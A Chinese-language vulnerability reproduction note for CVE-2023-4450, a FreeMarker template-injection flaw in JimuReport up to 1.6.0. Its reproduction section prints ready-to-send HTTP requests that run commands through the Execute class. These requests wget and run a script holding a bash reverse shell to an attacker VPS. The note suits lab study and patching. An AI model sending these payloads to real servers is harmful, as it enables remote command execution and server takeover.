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84 lines
2.4 KiB
Markdown
84 lines
2.4 KiB
Markdown
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# JimuReport FreeMarker 服务端模板注入命令执行 CVE-2023-4450
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## 漏洞描述
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积木报表（JimuReport）是一个开源的数据可视化报表平台。在其1.6.0版本及以前，存在一个FreeMarker服务端模板注入（SSTI）漏洞，攻击者利用该漏洞可在服务器中执行任意命令。
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参考链接：
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- [https://github.com/advisories/GHSA-j8h5-8rrr-m6j9](https://github.com/advisories/GHSA-j8h5-8rrr-m6j9)
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- [https://whoopsunix.com/docs/java/named%20module/](https://whoopsunix.com/docs/java/named%20module/)
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## 漏洞影响
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```
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JimuReport version <= 1.6.0
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个JimuReport 1.6.0演示服务器：
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```
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docker compose up -d
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```
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等待一段时间后，访问`http://your-ip:8085`即可看到报表首页。
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## 漏洞复现
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发送如下请求，即可在服务端注入FreeMarker模板`<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`：
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```
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POST /jmreport/queryFieldBySql HTTP/1.1
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Host: localhost:8085
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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Content-Length: 100
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{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
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```
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可见，`id`命令已经成功被执行：
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### 反弹shell
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创建一个 `bs.sh` 并托管在 vps，内容如下：
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```
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/bin/bash -i >& /dev/tcp/<your-vps-ip>/8888 0>&1
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```
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发包，下载 `bs.sh` 并执行：
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```
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POST /jmreport/queryFieldBySql HTTP/1.1
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Host: your-ip:8085
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{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"wget 127.0.0.1/bs.sh\")}'" }
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```
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```
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POST /jmreport/queryFieldBySql HTTP/1.1
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Host: your-ip:8085
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{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"bash bs.sh\")}'" }
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```
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vps 监听 8888 端口：
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## 漏洞修复
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升级到最新版本： http://jimureport.com/doc/log
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